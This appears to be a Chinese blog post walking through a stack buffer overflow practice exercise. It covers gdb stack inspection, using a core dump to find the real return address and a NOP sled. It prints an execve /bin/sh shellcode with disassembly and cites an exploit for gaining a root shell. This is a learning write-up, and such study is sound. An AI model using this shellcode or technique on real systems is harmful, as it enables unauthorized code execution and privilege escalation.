这次的练习很难,要真正的实现一个shellcode
![](https://images0.cnblogs.com/blog/543611/201307/14162143-8823aa52b3f14391954d870559b2060e.png)
那么我们先来了解一下最简单的shellcode:
![](https://images0.cnblogs.com/blog/543611/201307/14162143-0c9de83dce7449f39be9e3e0752273c1.png)
这个运行的结果是在shell中产生一个新的shell。
和以往一样,首先查看目标文件的内容,main函数部分:
![](https://images0.cnblogs.com/blog/543611/201307/14162143-f43603da982a43ce8f3598cfdb249741.png)
gdb调试,在main处设置断点,查看断点的信息:
![](https://images0.cnblogs.com/blog/543611/201307/14162143-cb3a254e91de493f8fa99f9eea6d7981.png)
我们发现:
esp 0xbffffcd0
ebp 0xbffffd28 = esp + 88
buffer esp + 16
![](https://images0.cnblogs.com/blog/543611/201307/14162144-c4c05d93779a4595a41268eda30dcb86.png)
我们把那个最简单的shellcode反汇编之后的结果加进去!
但是这个产生了段错误!
经过查阅资料,我了解到产生段错误的原因是由于gdb中调试的栈,和真实运行的栈的位置,不一定相同!!
所以要通过调试dump core文件来查看真实的栈的位置!
首先打开 core dump设置,用ulimit -c unlimited命令
![](https://images0.cnblogs.com/blog/543611/201307/14162144-503ed5c647a54396aed5f14042b99c6f.png)
我们在tmp目录下找到了刚刚生成的core文件!
结果如下:
![](https://images0.cnblogs.com/blog/543611/201307/14162144-45443afc47a24169aa02bee6d26b3252.png)
所以,我们应该把返回地址设为 0x bffffd50!
我们插入的简单的shellcode是:"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
31 c0 xor %eax,%eax
50 push %eax
68 6e 2f 73 68 push $0x68732f6e
68 2f 2f 62 69 push $0x69622f2f
89 e3 mov %esp,%ebx
50 push %eax
53 push %ebx
89 e1 mov %esp,%ecx
b0 0b mov $0xb,%al
cd 80 int $0x80
这是一段启动shell的命令,效果如下:
![](https://images0.cnblogs.com/blog/543611/201307/14162144-835c1cbf0aaa406bb435e01d1c475b46.png)
刚才为了调试打开dump core设置,进入了root用户,在返回地址的前面加上几个NOP,防止指令损坏什么的。既然可以执行我们想要执行的shellcode,那么也可以用更牛逼的shellcode,比如在普通用户的shell中执行shellcode进入root命令行!
这里面最后有一个例子
作者使用了
http://www.exploit-db.com/exploits/13357/这个例子,使得从普通shell获得了root shell!
另外作者推荐了两个网站:
可是,让我感到痛苦的就是那个gdb的问题,这个真是令人意想不到,原来gdb中的地址也不是真实的,好吧。